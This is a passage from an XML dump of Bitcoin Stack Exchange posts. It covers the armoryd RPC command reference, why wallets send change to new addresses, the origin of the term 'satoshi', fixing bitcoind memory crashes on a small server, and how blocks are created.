successful.&quot;&#xA;},&#xA;&quot;getactivelockbox&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the lockbox ID of the currently active lockbox.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The Base58 ID for the currently active lockbox.&quot;&#xA;},&#xA;&quot;getactivewallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the wallet ID of the currently active wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The Base58 ID for the currently active wallet.&quot;&#xA;},&#xA;&quot;getaddrbalance&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the balance of a Base58 address associated with the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;inB58 - The Base58 address associated with the current wallet.&quot;,&#xA;        &quot;baltype - (Default=spendable) A string indicating the balance type to retrieve from the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The current wallet balance (BTC), or -1 if an error occurred.&quot;&#xA;},&#xA;&quot;getaddressmetadata&quot;: {&#xA;    &quot;Description&quot;: &quot;Get all armoryd-specific metadata for the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with all metadata sent to armoryd.&quot;&#xA;},&#xA;&quot;getarmorydinfo&quot;: {&#xA;    &quot;Description&quot;: &quot;Get information on the version of armoryd running on the server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary listing version of armoryd running on the server.&quot;&#xA;},&#xA;&quot;getbalance&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the balance of the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;baltype - (Default=spendable) A string indicating the balance type to retrieve from the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The current wallet balance (BTC), or -1 if an error occurred.&quot;&#xA;},&#xA;&quot;getblock&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the block associated with a given block hash.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;blkhash - A hex string representing the block to obtain.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary listing information on the desired block, or empty if the block wasn't found.&quot;&#xA;},&#xA;&quot;gethextxtobroadcast&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a signed Tx from a file and get the raw hex data to broadcast.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;txASCIIFile - The path to a file with an signed transacion.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A hex string of the raw transaction data to be transmitted.&quot;&#xA;},&#xA;&quot;getledger&quot;: {&#xA;    &quot;Error&quot;: &quot;The function description is malformed.&quot;&#xA;},&#xA;&quot;getledgersimple&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a simple version of a wallet or lockbox ledger.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;inB58ID - The Base58 ID of the wallet or lockbox from which to obtain the ledger. The wallet or lockbox must already be loaded.&quot;,&#xA;        &quot;tx_count - (Default=10) The number of entries to get.&quot;,&#xA;        &quot;from_tx - (Default=0) The first entry to get.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with a wallet ledger of type \&quot;simple\&quot;.&quot;&#xA;},&#xA;&quot;getlockboxinfo&quot;: {&#xA;    &quot;Description&quot;: &quot;Get information on the lockbox associated with a lockbox ID string or, if it exists, the currently active armoryd lockbox.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;inLBID - (Default=None) If used, armoryd will get information on the lockbox with the provided Base58 ID instead of the currently active armoryd lockbox.&quot;,&#xA;        &quot;outForm - (Default=JSON) If used, armoryd will return the lockbox in a particular format. Choices are \&quot;JSON\&quot;, \&quot;Hex\&quot;, and \&quot;Base64\&quot;.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;If the lockbox is found, a dictionary with information on the lockbox will be returned.&quot;&#xA;},&#xA;&quot;getnewaddress&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a new Base58 address from the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The wallet's next unused public address in Base58 form.&quot;&#xA;},&#xA;&quot;getrawtransaction&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the raw transaction string for a given transaction hash.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;txHash - A string representing the hex value of a transaction ID.&quot;,&#xA;        &quot;verbose - (Default=0) Integer indicating whether or not the result should be more verbose.&quot;,&#xA;        &quot;endianness - (Default=BIGENDIAN) Indicates the endianness of the ID.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with the decoded raw transaction and relevant information.&quot;&#xA;},&#xA;&quot;getreceivedbyaddress&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the number of coins received by a Base58 address associated with the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;address - The Base58 address associated with the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;The balance received from the incoming address (BTC).&quot;&#xA;},&#xA;&quot;gettransaction&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the transaction associated with a given transaction hash.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;txHash - A hex string representing the block to obtain.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary listing information on the desired transaction, or empty if the transaction wasn't found.&quot;&#xA;},&#xA;&quot;gettxout&quot;: {&#xA;    &quot;Description&quot;: &quot;Get the TxOut entries for a given transaction hash.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;txHash - A string representing the hex value of a transaction ID.&quot;,&#xA;        &quot;n - The TxOut index to obtain.&quot;,&#xA;        &quot;binary - (Default=0) Indicates whether or not the resultant binary script should be in binary form or converted to a hex string.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with the Bitcoin amount for the TxOut and the TxOut script in hex string form (default) or binary form.&quot;&#xA;},&#xA;&quot;getwalletinfo&quot;: {&#xA;    &quot;Description&quot;: &quot;Get information on the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;inWltID - (Default=None) If used, armoryd will get info for the wallet for the provided Base58 wallet ID instead of the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with information on the current wallet.&quot;&#xA;},&#xA;&quot;help&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a directionary with all functions the armoryd server can run.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with all functions available on the armoryd server, along with the function parameters and function return value.&quot;&#xA;},&#xA;&quot;importprivkey&quot;: {&#xA;    &quot;Description&quot;: &quot;Import a private key into the current wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;privKey - A private key in any format supported by Armory, including Base58 private keys supported by bitcoind (uncompressed public key support only).&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string of the private key's accompanying hexadecimal public key.&quot;&#xA;},&#xA;&quot;listaddrunspent&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a list of unspent transactions for the currently loaded wallet that are associated with a given, comma-separated list of Base58 addresses from the wallet. By default, zero-conf UTXOs are included.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;inB58 - The Base58 address to check against the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary containing all UTXOs for the currently loaded wallet associated with the given Base58 address, along with information about each UTXO.&quot;&#xA;},&#xA;&quot;listloadedlockboxes&quot;: {&#xA;    &quot;Description&quot;: &quot;List all lockboxes loaded onto the armoryd server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with the Base58 values of all lockboxes loaded in armoryd.&quot;&#xA;},&#xA;&quot;listloadedwallets&quot;: {&#xA;    &quot;Description&quot;: &quot;List all wallets loaded onto the armoryd server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with the Base58 values of all wallets loaded in armoryd.&quot;&#xA;},&#xA;&quot;listtransactions&quot;: {&#xA;    &quot;Description&quot;: &quot;List the transactions associated with the currently loaded wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;tx_count - (Default=10) The number of entries to get.&quot;,&#xA;        &quot;from_tx - (Default=0) The first entry to get.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with information on the retrieved transactions.&quot;&#xA;},&#xA;&quot;listunspent&quot;: {&#xA;    &quot;Description&quot;: &quot;Get a list of unspent transactions for the currently loaded wallet. By default, zero-conf UTXOs are included.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary listing information about each UTXO in the currently loaded wallet. The dictionary is similar to the one returned by the bitcoind call of the same name.&quot;&#xA;},&#xA;&quot;receivedfromaddress&quot;: {&#xA;    &quot;Description&quot;: &quot;Return the number of coins received from a particular sender.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;sender - Base58 address of the sender to the current wallet.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;Number of Bitcoins sent by the sender to the current wallet.&quot;&#xA;},&#xA;&quot;receivedfromsigner&quot;: {&#xA;    &quot;Description&quot;: &quot;Verify that a message (RFC 2440: clearsign or Base64) has been signed by a Bitcoin address and get the amount of coins sent to the current wallet by the message's signer.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;sigBlock - Message with the RFC 2440 message to be verified. The message must be enclosed in quotation marks.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with verified message and the amount of money sent to the current wallet by the signer.&quot;&#xA;},&#xA;&quot;relockwallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Re-lock a wallet.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;None&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating whether or not the wallet is locked.&quot;&#xA;},&#xA;&quot;sendlockbox&quot;: {&#xA;    &quot;Description&quot;: &quot;E-mail ASCII-encoded lockboxes to recipients.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;lbIDs - A colon-delineated list of Base58 IDs of lockboxes to send to an email recipient.&quot;,&#xA;        &quot;sender - The email address of the sender.&quot;,&#xA;        &quot;server - The SMTP email server.&quot;,&#xA;        &quot;pwd - The email account password.&quot;,&#xA;        &quot;recips - The recipient or, if the string is delineated by a colon, a list of recipients.&quot;,&#xA;        &quot;msgSubj - (Default=Armory Lockbox) The email subject.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating whether or not the attempt to send was successful.&quot;&#xA;},&#xA;&quot;setactivelockbox&quot;: {&#xA;    &quot;Description&quot;: &quot;Set the currently active lockbox to one already loaded on the armoryd server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;newIDB58 - The Base58 ID of the lockbox to be made active.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating whether or not the lockbox was set as desired.&quot;&#xA;},&#xA;&quot;setactivewallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Set the currently active wallet to one already loaded on the armoryd server.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;newIDB58 - The Base58 ID of the wallet to be made active.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating whether or not the wallet was set as desired.&quot;&#xA;},&#xA;&quot;setaddressmetadata&quot;: {&#xA;    &quot;Description&quot;: &quot;Set armoryd-specific metadata associated with Base58 addresses.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;newAddressMetaData - A dictionary containing arbitrary metadata to attach to Base58 addresses listed with the metadata.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;None&quot;&#xA;},&#xA;&quot;signasciitransaction&quot;: {&#xA;    &quot;Description&quot;: &quot;Sign an unsigned transaction and get the signed ASCII data.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;unsignedTxASCII - An ASCII-formatted unsigned transaction, like the one used by Armory for offline transactions.&quot;,&#xA;        &quot;wltPasswd - (Default=None) If needed, the current wallet's password.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary containing a string with the ASCII-formatted signed transaction or, if the signing failed, a string indicating failure.&quot;&#xA;},&#xA;&quot;unlockwallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Unlock a wallet with a given passphrase and unlock time length.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;passphrase - The wallet's current passphrase.&quot;,&#xA;        &quot;timeout - (Default=10) The time, in seconds, that the wallet will be unlocked.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A string indicating if the wallet was unlocked or if it was already unlocked.&quot;&#xA;},&#xA;&quot;verifysignature&quot;: {&#xA;    &quot;Description&quot;: &quot;Take a message (RFC 2440: clearsign or Base64) signed by a Bitcoin address and verify the message.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;sigBlock - Message with the RFC 2440 message to be verified. The message must be enclosed in quotation marks.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;A dictionary with verified message and the Base58 address of the signer.&quot;&#xA;},&#xA;&quot;watchwallet&quot;: {&#xA;    &quot;Description&quot;: &quot;Send an e-mail notification when the current wallet spends money.&quot;,&#xA;    &quot;Parameters&quot;: [&#xA;        &quot;send_from - The email address of the sender.&quot;,&#xA;        &quot;smtpServer - (Default=None) The SMTP email server.&quot;,&#xA;        &quot;password - (Default=None) The email account password.&quot;,&#xA;        &quot;send_to - (Default=None) The recipient or, if the string is delineated by a colon, a list of recipients.&quot;,&#xA;        &quot;subject - (Default=None) The email subject.&quot;,&#xA;        &quot;watchCmd - (Default=add) A string indicating if emails from the sender should be sent or, if set to \&quot;remove\&quot;, emails from the sender that are currently being sent should be stopped.&quot;&#xA;    ],&#xA;    &quot;Return Value&quot;: &quot;None&quot;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/blob/master/armoryd.README&quot; rel=&quot;nofollow&quot;&gt;armoryd.README&lt;/a&gt; in the install folder&lt;/p&gt;&#xA;" OwnerUserId="22862" LastEditorUserId="2306" LastEditDate="2015-01-11T04:22:49.720" LastActivityDate="2015-01-11T04:22:49.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35419" PostTypeId="2" ParentId="35412" CreationDate="2015-01-11T04:37:11.820" Score="7" Body="&lt;p&gt;Change is sent to a new address to improve your privacy and the privacy of the other Bitcoin users you interact with.  Let's imagine you receive a payment from Alice in one transaction; then you spend some of that money to Bob and the change is refunded to you.  Then, in an unrelated transaction, you send Charlie some bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20150922123229/http://bitcoinillustrated.org/images/single-address.svg&quot; alt=&quot;Single address&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you keep all of your bitcoins in a single address and Alice, Bob, and Charlie know who you are, all three of them can now easily use a block explorer to look up how many bitcoins you have.  It's like letting your family, friends, bosses (past and present), local businesses, and everyone else you've ever transacted with know your exact current bank balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But who cares?  If you're like me and you don't have a lot of bitcoins, that may not be a big deal.  However, by reusing the same address for everything, you also reduce other people's privacy.  For example, lets say Alice pays Charlie (and Charlie also uses the same address for all transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20150922115115/http://bitcoinillustrated.org/images/single-address-privacy.svg&quot; alt=&quot;Single address privacy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Alice knows your address from the previous transaction and Charlie's address for this current transaction, so she can see that you paid Charlie.  Charlie can do the reverse and see that Alice paid you---so by using a single address for everything, you may have reduced Alice and Charlie's privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Bitcoin Core and other high-quality wallets do is try to completely avoid address reuse.  That means they prompt you to create a new address for every incoming payment and they always pay change to a new address.  This helps keep transactions separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;(broken image, &lt;a href=&quot;http://bitcoinillustrated.org/images/unique-addresses.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;original source&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you and Charlie use unique addresses, Alice may not be able to tell that you paid Charlie and Charlie may not be able to tell you received money from Alice.  Also, it will be much more difficult for anyone to figure out exactly how many bitcoins you control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I say &quot;more difficult&quot; because there are still situations where Alice and Charlie may be able to identify the payments to/from you.  Using unique addresses is a significant privacy improvement, but it's not perfect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using separate change addresses costs you nothing extra over returning change to the same address (that is, the transaction will be the same size either way, so you pay the same fee) and it may have a slight security advantage when used with software that is broken in particular ways.  However, the major advantage is that you improve your privacy and the privacy of everyone you transact with---and as someone who might trade with you some day, I thank you for using software that uses unique change addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Bitcoin.org's &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Choose Your Wallet&lt;/a&gt; page indicates whether a wallet uses unique change addresses by default, so anyone else reading this may want to use that page to select a wallet that improves their privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20150922121419/http://bitcoinillustrated.org/images/2015-01-10-232745_778x284_scrot.png&quot; alt=&quot;Choose Your Wallet&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2019-03-12T18:14:29.133" LastActivityDate="2019-03-12T18:14:29.133" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="35421" PostTypeId="2" ParentId="18613" CreationDate="2015-01-11T08:42:10.567" Score="5" Body="&lt;p&gt;I'll list the mentions I've found in reverse chronological order.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It first showed up on StackExchange on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/114/what-is-a-satoshi&quot;&gt;August 30, 2011&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, I often hear the term Satoshi as if it was a monetary unit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rebuilder discussed the divisibility of Bitcion on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4816.msg70427#msg70427&quot; rel=&quot;nofollow noreferrer&quot;&gt;March 23, 2011&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'll use the term &quot;Satoshi&quot;, as previously coined by others, to mean the current smallest available Bitcoin unit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3574.msg50593#msg50593&quot; rel=&quot;nofollow noreferrer&quot;&gt;February 18, 2011&lt;/a&gt;, kiba said,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can't wait to use satoshi to denote a very small fraction of bitcoin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;marcus_of_augustus replied,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 satoshi = 1 microbitcent (smallest denomination)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;100 million satoshis = 1 bitcoin&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Are we agreed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I cannot find anything earlier on bitcointalk.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Did Satoshi Nakamoto comment on the naming?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I cannot find a searchable copy of his writings. If I can, I'll update this answer. However, his postings were already tapering off at February 2011, so probably not.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-16T06:35:57.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35422" PostTypeId="1" AcceptedAnswerId="35423" CreationDate="2015-01-11T08:53:35.383" Score="1" ViewCount="1034" Body="&lt;p&gt;I have an Ubuntu 14.04 512Mb RAM/100Gb HDD server which I use to host a remote bitcoin node. &lt;code&gt;bitcoind&lt;/code&gt; currently catches up and for some reason it just stops working after 10-20 minutes or so every time I re-launch it. Nothing interesting in &lt;code&gt;debug.log&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-01-11 04:28:47 UpdateTip: new best=000000000000000027ce5c42b2e4b3e5cc51f441aaf3644a4fe8bf0215abae7c  height=306691  log2_work=79.261277  tx=41024325  date=2014-06-19 19:10:49 progress=0.488913&#xA;2015-01-11 04:28:47 ProcessBlock: ACCEPTED&#xA;2015-01-11 04:28:47 ProcessBlock: ORPHAN BLOCK 290, prev=00000000000000003de1051078cb951cadb90aad2e1a94019df07d431384934e&#xA;// nothing here, bitcoind not working anymore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's going on and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD here's the &lt;code&gt;bitcoin-cli getinfo&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 90300,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;blocks&quot; : 306754,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 10,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 13462580114.52533913,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12533" LastActivityDate="2018-12-01T08:41:23.987" Title="bitcoind stops working" Tags="|bitcoind|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35423" PostTypeId="2" ParentId="35422" CreationDate="2015-01-11T09:12:08.210" Score="3" Body="&lt;p&gt;I had a similar problem - it turned out that Bitcoin was running out of memory. (This happened when I was using one of DigitalOcean's 512MB VPS's.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what you can do to check if this is the problem:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the command &lt;code&gt;watch free -m&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;             total       used       free     shared    buffers     cached  &#xA;Mem:           997        891        106          0        117        640&#xA;-/+ buffers/cache:        133        864&#xA;Swap:         4095          0       4095&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look at the intersection of &lt;code&gt;-/+ buffers/cache&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt;. This is how much free memory you have. In this example, it's 864 MB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If that number drops below 10 MB before the crash, that's probably the issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's what you can do if this is the problem you're having:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Get a larger VPS from your provider.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://unix.stackexchange.com/questions/48454/how-to-configure-swap-space-after-system-instalation&quot;&gt;Enable swap&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dbcache=50&#xA;maxconnections=4&#xA;rpcthreads=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your bitcoin.conf file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.883" LastActivityDate="2015-01-11T18:21:53.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35424" PostTypeId="1" CreationDate="2015-01-11T09:46:04.950" Score="3" ViewCount="1137" Body="&lt;p&gt;i just followed the instructions from degreesof zero built, made and installed bitcoind, but bitcoind was missing from the location above. What's wrong with the procedures please? thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://degreesofzero.com/article/building-bitcoind-from-source-on-ubuntu.html&quot; rel=&quot;nofollow&quot;&gt;https://degreesofzero.com/article/building-bitcoind-from-source-on-ubuntu.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://degreesofzero.com/article/installing-bitcoind-on-ubuntu.html&quot; rel=&quot;nofollow&quot;&gt;https://degreesofzero.com/article/installing-bitcoind-on-ubuntu.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22865" LastActivityDate="2015-02-25T07:42:22.063" Title="why is bitcoind is missing from /usr/local/bin?" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35426" PostTypeId="2" ParentId="35424" CreationDate="2015-01-11T10:28:03.910" Score="3" Body="&lt;p&gt;If you've followed the first link, you will also need to &lt;code&gt;sudo make install&lt;/code&gt;, this will take the relevant binary files and place them in the &lt;code&gt;/usr/local/bin&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="2976" LastActivityDate="2015-01-11T10:28:03.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35428" PostTypeId="5" CreationDate="2015-01-11T13:40:46.020" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-11T13:40:46.020" LastActivityDate="2015-01-11T13:40:46.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35429" PostTypeId="4" CreationDate="2015-01-11T13:40:46.020" Score="0" Body="refers to the mining reward and questions about coinbase-transactions (the transaction that pays the block reward)." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-11T13:40:46.020" LastActivityDate="2015-01-11T13:40:46.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35430" PostTypeId="2" ParentId="30837" CreationDate="2015-01-11T14:10:15.350" Score="7" Body="&lt;p&gt;Blocks can include transactions, but &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2021/5406&quot;&gt;it is not necessary for transactions to occur in order to create blocks&lt;/a&gt;. The only transaction that is required in a block is the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;coinbase transaction&lt;/a&gt; which is the transaction that creates new bitcoins and collects the transaction fees. This transaction is created by each miner individually for their block attempts (as it sends money to their own address which is different for each miner), so it'll surely be available. In fact, the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/10796/5406&quot;&gt;first transaction other than a coinbase transaction occurred in block 170&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, since transactions are not a requirement, block creation is limited differently, it happens by means of the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5838/5406&quot;&gt;difficulty&lt;/a&gt;. Miners create block candidates continuously, and then check each whether it fulfills the difficulty requirement. Whenever they find a block that surpasses the required difficulty, they have successfully mined a block. As the difficulty resets regularly to adapt to changes in the hashrate of the mining network, the blocks work out to be discovered approximately every ten minutes.&lt;/p&gt;&#xA;&lt;p&gt;In the very beginning of Bitcoin, mining difficulty was very low as there were few people running their home computers to mine Bitcoin. Satoshi Nakamoto was the first one to run a computer for mining, and thus was able to mine a large portion of the early blocks.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-03-16T14:47:32.897" LastActivityDate="2021-03-16T14:47:32.897" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
